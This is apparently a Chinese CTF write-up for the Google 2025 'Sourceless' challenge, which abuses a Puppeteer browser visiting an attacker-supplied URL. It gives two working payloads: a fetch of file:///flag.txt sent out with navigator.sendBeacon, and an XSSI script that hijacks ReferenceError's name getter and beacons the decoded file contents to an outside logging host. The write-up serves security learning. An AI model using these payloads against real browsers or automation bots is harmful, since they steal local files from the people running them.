Puppeteer 相关漏洞-- Google 2025 Sourceless

题目的代码非常简单,核心只有这一句

js 复制代码
page.goto(url, { timeout: 2000 });

方案1

Puppeteer 是一个常用的自动化浏览器工具,默认支持 Chrome,但也可以配置支持 Firefox。然而,当 Puppeteer 运行在 Firefox 上时,会自动关闭一些安全特性,尤其是将 security.fileuri.strict_origin_policy 设置为 false。这意味着不同的 file:// 协议下的文件(比如 file://A 和 file://B)会被当作同源(same-origin)处理。

复制代码
fetch('file:///flag.txt')
  .then(e => e.text())
  .then(e => navigator.sendBeacon(url, e));

方案2 XSSI 攻击

xssi.pdf

js 复制代码
  <script>
    ReferenceError.prototype.__defineGetter__('name', function(){
      const variable = this.message.split(' is ')[0];
      let decoded = '';

      for(const u16 of [...variable]){
        const i = u16.charCodeAt(0);
        decoded += String.fromCharCode(i % 256);
        decoded += String.fromCharCode(i >> 8);
      }
      navigator.sendBeacon('https://terjanq-logger.glitch.me/log2?id=sourceless', decoded)
    });
  </script>
  <script charset=utf-16le src="file:///flag.txt"></script>
  • 在Chrome和Firefox中,可以通过重写Error.prototype,拦截并读取error.message属性。

  • 正常情况下,跨域脚本报错时,window.onerror只会返回"Script error",但控制台的错误信息却包含了详细内容。

  • 由于console构造错误信息时会用到共享的Error原型,网站可以"污染"原型并执行自定义JS。

相关推荐
墨染 殇雪1 天前
文件上传漏洞基础及挖掘流程
网络安全·漏洞分析·漏洞挖掘·安全机制
网络安全大学堂1 天前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客
君君思密达1 天前
网络安全初级-渗透测试
安全·网络安全
网安INF1 天前
【论文阅读】-《Besting the Black-Box: Barrier Zones for Adversarial Example Defense》
人工智能·深度学习·网络安全·黑盒攻击
lingggggaaaa1 天前
小迪安全v2023学习笔记(七十七讲)—— 业务设计篇&隐私合规检测&重定向漏洞&资源拒绝服务
笔记·学习·安全·web安全·网络安全
Suckerbin1 天前
Corrosion: 1靶场渗透
笔记·安全·网络安全
Whoami!1 天前
⸢ 肆 ⸥ ⤳ 默认安全:安全建设方案 ➭ b.安全资产建设
网络安全·信息安全·安全架构·安全资产
Bruce_Liuxiaowei1 天前
基于BeEF的XSS钓鱼攻击与浏览器劫持实验
前端·网络安全·ctf·xss
汉堡包0012 天前
【网安干货】--计算机网络知识梳理总结(二)
计算机网络·安全·网络安全
Suckerbin2 天前
Web安全——JWT
安全·web安全·网络安全